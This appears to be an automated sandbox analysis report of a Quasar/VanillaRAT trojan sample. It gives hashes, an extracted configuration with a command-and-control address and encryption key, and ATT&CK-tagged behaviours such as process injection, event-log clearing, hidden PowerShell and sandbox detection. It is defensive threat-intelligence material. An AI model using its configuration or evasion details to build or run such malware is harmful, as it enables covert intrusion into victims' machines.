quasar | 6d886767f487cd0bc1ee29c899540e2ccfe6f1d3253ea629acd8d397a0a84faa

Analysis

max time kernel
60s
max time network
56s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
18-08-2024 13:35

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Release/VanillaRat.exe
Size

1.7MB
MD5

59fea74c326c7e496617bb45bdfbcc00
SHA1

7c0dd54592857eed1cb068e24315b2bbe7511b76
SHA256

9b6dcbe8df1be5241a40987a416e896737a7442db492e9df8413277835fb766d
SHA512

443005543a476b0c3ef4744ba0b7075185cf0ae80783c06f98ee2845872c54ad2ee6d69810acaed692720b5ad19129935b751e45ac8725b050ccca5b94ecc6ba
SSDEEP

24576:Lz2qwZHZd2PjnRh3Xz2DrtasSA7ZUNnbkAqE6joUZ57W:f2qw+nYVZY6jog

Score

10^/10

quasar v2.2.5 | vanillarat defense_evasion discovery execution spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.0.0.0

Botnet

v2.2.5 | VanillaRAT

163.5.215.216:4782

Mutex

cbadd9b5-ddec-4242-bf61-1d311f862dd3

Attributes

encryption_key
1C7D50D49C8CFBD67416B7A7C9CD3F45FD94217E
install_name
.exe
log_directory
$sxr-Logs
reconnect_delay
3000

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

Processes:

resource	yara_rule
behavioral7/memory/1452-77-0x000002A6CA6F0000-0x000002A6CAEBA000-memory.dmp	family_quasar

Suspicious use of NtCreateProcessExOtherParentProcess 3 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exe

description	pid	process	target process
PID 4124 created 4332	4124	WerFault.exe	dllhost.exe
PID 5264 created 6980	5264	WerFault.exe	dllhost.exe
PID 6924 created 6212	6924	WerFault.exe	dllhost.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 12 IoCs

Processes:

Handler.bat.exe$sxr-powershell.exesvchost.exe

description	pid	process	target process
PID 2248 created 612	2248	Handler.bat.exe	winlogon.exe
PID 1452 created 612	1452	$sxr-powershell.exe	winlogon.exe
PID 1452 created 612	1452	$sxr-powershell.exe	winlogon.exe
PID 2248 created 612	2248	Handler.bat.exe	winlogon.exe
PID 1452 created 612	1452	$sxr-powershell.exe	winlogon.exe
PID 1452 created 612	1452	$sxr-powershell.exe	winlogon.exe
PID 1452 created 612	1452	$sxr-powershell.exe	winlogon.exe
PID 1452 created 612	1452	$sxr-powershell.exe	winlogon.exe
PID 5624 created 4332	5624	svchost.exe	dllhost.exe
PID 5624 created 6980	5624	svchost.exe	dllhost.exe
PID 1452 created 612	1452	$sxr-powershell.exe	winlogon.exe
PID 5624 created 6212	5624	svchost.exe	dllhost.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2096 powershell.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

$sxr-mshta.exeHandler.bat.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation	$sxr-mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation	Handler.bat.exe

Executes dropped EXE 5 IoCs

Processes:

Handler.bat.exe$sxr-mshta.exe$sxr-cmd.exe$sxr-powershell.exe$sxr-powershell.exe

pid process

2248 Handler.bat.exe
1728 $sxr-mshta.exe
2200 $sxr-cmd.exe
1452 $sxr-powershell.exe
3220 $sxr-powershell.exe

pid	process
2248	Handler.bat.exe
1728	$sxr-mshta.exe
2200	$sxr-cmd.exe
1452	$sxr-powershell.exe
3220	$sxr-powershell.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 2 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

Processes:

svchost.exe

description	ioc	process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe

Hide Artifacts: Hidden Window 1 TTPs 2 IoCs
Windows that would typically be displayed when an application carries out an operation can be hidden.
defense_evasion

Hidden Window
T1564.003

Processes:

$sxr-powershell.exe$sxr-powershell.exe

pid process

1452 $sxr-powershell.exe
3220 $sxr-powershell.exe

pid	process
1452	$sxr-powershell.exe
3220	$sxr-powershell.exe

Suspicious use of SetThreadContext 18 IoCs

Processes:

Handler.bat.exe$sxr-powershell.exe

description	pid	process	target process
PID 2248 set thread context of 3512	2248	Handler.bat.exe	dllhost.exe
PID 2248 set thread context of 4516	2248	Handler.bat.exe	dllhost.exe
PID 1452 set thread context of 2336	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 set thread context of 3132	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 set thread context of 4864	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 set thread context of 3024	1452	$sxr-powershell.exe	dllhost.exe
PID 2248 set thread context of 5412	2248	Handler.bat.exe	dllhost.exe
PID 2248 set thread context of 5472	2248	Handler.bat.exe	dllhost.exe
PID 1452 set thread context of 1168	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 set thread context of 6640	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 set thread context of 6728	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 set thread context of 4408	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 set thread context of 1072	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 set thread context of 4332	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 set thread context of 6944	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 set thread context of 6980	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 set thread context of 6212	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 set thread context of 6612	1452	$sxr-powershell.exe	dllhost.exe

Drops file in Windows directory 8 IoCs

Processes:

Handler.bat.exeTiWorker.exeWerFault.exe

description	ioc	process
File created	C:\Windows\$sxr-powershell.exe	Handler.bat.exe
File opened for modification	C:\Windows\$sxr-powershell.exe	Handler.bat.exe
File created	C:\Windows\$sxr-mshta.exe	Handler.bat.exe
File opened for modification	C:\Windows\$sxr-mshta.exe	Handler.bat.exe
File created	C:\Windows\$sxr-cmd.exe	Handler.bat.exe
File opened for modification	C:\Windows\$sxr-cmd.exe	Handler.bat.exe
File opened for modification	C:\Windows\Logs\CBS\CBS.log	TiWorker.exe
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	WerFault.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 2 IoCs

Processes:

WerFault.exeWerFault.exe

pid pid_target process target process

5864 4332 WerFault.exe dllhost.exe
2308 6980 WerFault.exe dllhost.exe

pid	pid_target	process	target process
5864	4332	WerFault.exe	dllhost.exe
2308	6980	WerFault.exe	dllhost.exe

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

WerFault.exedllhost.exedllhost.exedllhost.exedllhost.exeWerFault.exeWerFault.exedllhost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WerFault.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WerFault.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WerFault.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
discovery

Internet Connection Discovery
T1016.001

Processes:

cmd.exePING.EXE

pid process

4100 cmd.exe
5208 PING.EXE

pid	process
4100	cmd.exe
5208	PING.EXE

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

wmiprvse.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service	wmiprvse.exe

Checks processor information in registry 2 TTPs 11 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

svchost.exeWerFault.exeWerFault.exeWerFault.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe

Enumerates system info in registry 2 TTPs 7 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

wmiprvse.exeWerFault.exeWerFault.exeWerFault.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Modifies registry class 1 IoCs

Processes:

$sxr-mshta.exe

description ioc process

Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ $sxr-mshta.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

5208 PING.EXE

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	$sxr-mshta.exe

pid	process
5208	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exeHandler.bat.exedllhost.exedllhost.exe$sxr-powershell.exedllhost.exedllhost.exe$sxr-powershell.exedllhost.exedllhost.exe

pid	process
2096	powershell.exe
2096	powershell.exe
2248	Handler.bat.exe
2248	Handler.bat.exe
2248	Handler.bat.exe
2248	Handler.bat.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
3512	dllhost.exe
4516	dllhost.exe
4516	dllhost.exe
4516	dllhost.exe
4516	dllhost.exe
2248	Handler.bat.exe
2248	Handler.bat.exe
1452	$sxr-powershell.exe
1452	$sxr-powershell.exe
1452	$sxr-powershell.exe
1452	$sxr-powershell.exe
1452	$sxr-powershell.exe
2336	dllhost.exe
2336	dllhost.exe
2336	dllhost.exe
3132	dllhost.exe
3132	dllhost.exe
3132	dllhost.exe
3132	dllhost.exe
2336	dllhost.exe
2336	dllhost.exe
1452	$sxr-powershell.exe
1452	$sxr-powershell.exe
3220	$sxr-powershell.exe
3220	$sxr-powershell.exe
1452	$sxr-powershell.exe
4864	dllhost.exe
4864	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
4864	dllhost.exe
4864	dllhost.exe
4864	dllhost.exe
4864	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
4864	dllhost.exe
4864	dllhost.exe
3220	$sxr-powershell.exe
3220	$sxr-powershell.exe
2096	powershell.exe
4864	dllhost.exe
4864	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
4864	dllhost.exe
4864	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe
3220	$sxr-powershell.exe
3220	$sxr-powershell.exe
4864	dllhost.exe
4864	dllhost.exe
3024	dllhost.exe
3024	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exeHandler.bat.exedllhost.exedllhost.exe$sxr-powershell.exedllhost.exedllhost.exe$sxr-powershell.exedllhost.exedllhost.exesvchost.exe

description	pid	process
Token: SeDebugPrivilege	2096	powershell.exe
Token: SeDebugPrivilege	2248	Handler.bat.exe
Token: SeDebugPrivilege	2248	Handler.bat.exe
Token: SeDebugPrivilege	3512	dllhost.exe
Token: SeDebugPrivilege	4516	dllhost.exe
Token: SeDebugPrivilege	1452	$sxr-powershell.exe
Token: SeDebugPrivilege	1452	$sxr-powershell.exe
Token: SeDebugPrivilege	2336	dllhost.exe
Token: SeDebugPrivilege	3132	dllhost.exe
Token: SeDebugPrivilege	3220	$sxr-powershell.exe
Token: SeDebugPrivilege	1452	$sxr-powershell.exe
Token: SeDebugPrivilege	4864	dllhost.exe
Token: SeDebugPrivilege	3024	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	1212	svchost.exe
Token: SeIncreaseQuotaPrivilege	1212	svchost.exe
Token: SeSecurityPrivilege	1212	svchost.exe
Token: SeTakeOwnershipPrivilege	1212	svchost.exe
Token: SeLoadDriverPrivilege	1212	svchost.exe
Token: SeSystemtimePrivilege	1212	svchost.exe
Token: SeBackupPrivilege	1212	svchost.exe
Token: SeRestorePrivilege	1212	svchost.exe
Token: SeShutdownPrivilege	1212	svchost.exe
Token: SeSystemEnvironmentPrivilege	1212	svchost.exe
Token: SeUndockPrivilege	1212	svchost.exe
Token: SeManageVolumePrivilege	1212	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1212	svchost.exe
Token: SeIncreaseQuotaPrivilege	1212	svchost.exe
Token: SeSecurityPrivilege	1212	svchost.exe
Token: SeTakeOwnershipPrivilege	1212	svchost.exe
Token: SeLoadDriverPrivilege	1212	svchost.exe
Token: SeSystemtimePrivilege	1212	svchost.exe
Token: SeBackupPrivilege	1212	svchost.exe
Token: SeRestorePrivilege	1212	svchost.exe
Token: SeShutdownPrivilege	1212	svchost.exe
Token: SeSystemEnvironmentPrivilege	1212	svchost.exe
Token: SeUndockPrivilege	1212	svchost.exe
Token: SeManageVolumePrivilege	1212	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1212	svchost.exe
Token: SeIncreaseQuotaPrivilege	1212	svchost.exe
Token: SeSecurityPrivilege	1212	svchost.exe
Token: SeTakeOwnershipPrivilege	1212	svchost.exe
Token: SeLoadDriverPrivilege	1212	svchost.exe
Token: SeSystemtimePrivilege	1212	svchost.exe
Token: SeBackupPrivilege	1212	svchost.exe
Token: SeRestorePrivilege	1212	svchost.exe
Token: SeShutdownPrivilege	1212	svchost.exe
Token: SeSystemEnvironmentPrivilege	1212	svchost.exe
Token: SeUndockPrivilege	1212	svchost.exe
Token: SeManageVolumePrivilege	1212	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1212	svchost.exe
Token: SeIncreaseQuotaPrivilege	1212	svchost.exe
Token: SeSecurityPrivilege	1212	svchost.exe
Token: SeTakeOwnershipPrivilege	1212	svchost.exe
Token: SeLoadDriverPrivilege	1212	svchost.exe
Token: SeSystemtimePrivilege	1212	svchost.exe
Token: SeBackupPrivilege	1212	svchost.exe
Token: SeRestorePrivilege	1212	svchost.exe
Token: SeShutdownPrivilege	1212	svchost.exe
Token: SeSystemEnvironmentPrivilege	1212	svchost.exe
Token: SeUndockPrivilege	1212	svchost.exe
Token: SeManageVolumePrivilege	1212	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1212	svchost.exe
Token: SeIncreaseQuotaPrivilege	1212	svchost.exe
Token: SeSecurityPrivilege	1212	svchost.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

$sxr-powershell.exeConhost.exe

pid process

1452 $sxr-powershell.exe
2068 Conhost.exe

pid	process
1452	$sxr-powershell.exe
2068	Conhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

VanillaRat.exepowershell.execmd.exeHandler.bat.exe$sxr-mshta.exe$sxr-cmd.exe$sxr-powershell.exe

description	pid	process	target process
PID 2724 wrote to memory of 2096	2724	VanillaRat.exe	powershell.exe
PID 2724 wrote to memory of 2096	2724	VanillaRat.exe	powershell.exe
PID 2096 wrote to memory of 4632	2096	powershell.exe	cmd.exe
PID 2096 wrote to memory of 4632	2096	powershell.exe	cmd.exe
PID 4632 wrote to memory of 2248	4632	cmd.exe	Handler.bat.exe
PID 4632 wrote to memory of 2248	4632	cmd.exe	Handler.bat.exe
PID 2248 wrote to memory of 3512	2248	Handler.bat.exe	dllhost.exe
PID 2248 wrote to memory of 3512	2248	Handler.bat.exe	dllhost.exe
PID 2248 wrote to memory of 3512	2248	Handler.bat.exe	dllhost.exe
PID 2248 wrote to memory of 3512	2248	Handler.bat.exe	dllhost.exe
PID 2248 wrote to memory of 3512	2248	Handler.bat.exe	dllhost.exe
PID 2248 wrote to memory of 3512	2248	Handler.bat.exe	dllhost.exe
PID 2248 wrote to memory of 3512	2248	Handler.bat.exe	dllhost.exe
PID 2248 wrote to memory of 4516	2248	Handler.bat.exe	dllhost.exe
PID 2248 wrote to memory of 4516	2248	Handler.bat.exe	dllhost.exe
PID 2248 wrote to memory of 4516	2248	Handler.bat.exe	dllhost.exe
PID 2248 wrote to memory of 4516	2248	Handler.bat.exe	dllhost.exe
PID 2248 wrote to memory of 4516	2248	Handler.bat.exe	dllhost.exe
PID 2248 wrote to memory of 4516	2248	Handler.bat.exe	dllhost.exe
PID 2248 wrote to memory of 4516	2248	Handler.bat.exe	dllhost.exe
PID 2248 wrote to memory of 4516	2248	Handler.bat.exe	dllhost.exe
PID 2248 wrote to memory of 4516	2248	Handler.bat.exe	dllhost.exe
PID 1728 wrote to memory of 2200	1728	$sxr-mshta.exe	$sxr-cmd.exe
PID 1728 wrote to memory of 2200	1728	$sxr-mshta.exe	$sxr-cmd.exe
PID 2200 wrote to memory of 1452	2200	$sxr-cmd.exe	$sxr-powershell.exe
PID 2200 wrote to memory of 1452	2200	$sxr-cmd.exe	$sxr-powershell.exe
PID 1452 wrote to memory of 2336	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 wrote to memory of 2336	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 wrote to memory of 2336	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 wrote to memory of 2336	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 wrote to memory of 2336	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 wrote to memory of 2336	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 wrote to memory of 2336	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 wrote to memory of 4076	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 wrote to memory of 4076	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 wrote to memory of 4076	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 wrote to memory of 3132	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 wrote to memory of 3132	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 wrote to memory of 3132	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 wrote to memory of 3132	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 wrote to memory of 3132	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 wrote to memory of 3132	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 wrote to memory of 3132	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 wrote to memory of 3132	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 wrote to memory of 3132	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 wrote to memory of 3220	1452	$sxr-powershell.exe	$sxr-powershell.exe
PID 1452 wrote to memory of 3220	1452	$sxr-powershell.exe	$sxr-powershell.exe
PID 1452 wrote to memory of 4864	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 wrote to memory of 4864	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 wrote to memory of 4864	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 wrote to memory of 4864	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 wrote to memory of 4864	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 wrote to memory of 4864	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 wrote to memory of 4864	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 wrote to memory of 4864	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 wrote to memory of 4864	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 wrote to memory of 1784	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 wrote to memory of 1784	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 wrote to memory of 1784	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 wrote to memory of 3024	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 wrote to memory of 3024	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 wrote to memory of 3024	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 wrote to memory of 3024	1452	$sxr-powershell.exe	dllhost.exe
PID 1452 wrote to memory of 3024	1452	$sxr-powershell.exe	dllhost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:612
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:1020
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{e8ef9856-2242-4506-a2b7-6fc77981a37b}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3512
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{3ec00975-2522-4e40-adf0-4435a70b2e38}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2336
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{38ad70bf-959b-489e-ae2d-e25d46f9883e}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4864
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{86b6c022-1e9c-4c44-833a-580a6c38975b}
  2⤵
  PID:5412
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{76204e13-a5bc-44b3-bc60-508b516c4779}
  2⤵
  PID:1168
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{11b3a8ff-bc30-4d0b-a3a8-6f8035d59d47}
  2⤵
  PID:6728
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{3f218a6a-9b04-4d80-9875-a8c7a6f6521e}
  2⤵
  PID:1072
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{b5360dd6-5335-4280-946c-fa392e87983c}
  2⤵
  PID:6944
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{09a3e476-c522-411b-96b1-45e811dc9e90}
  2⤵
  PID:6212
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 6212 -s 308
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    PID:6808

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:948

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:508

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1012

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1096

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1132

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1144
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2780
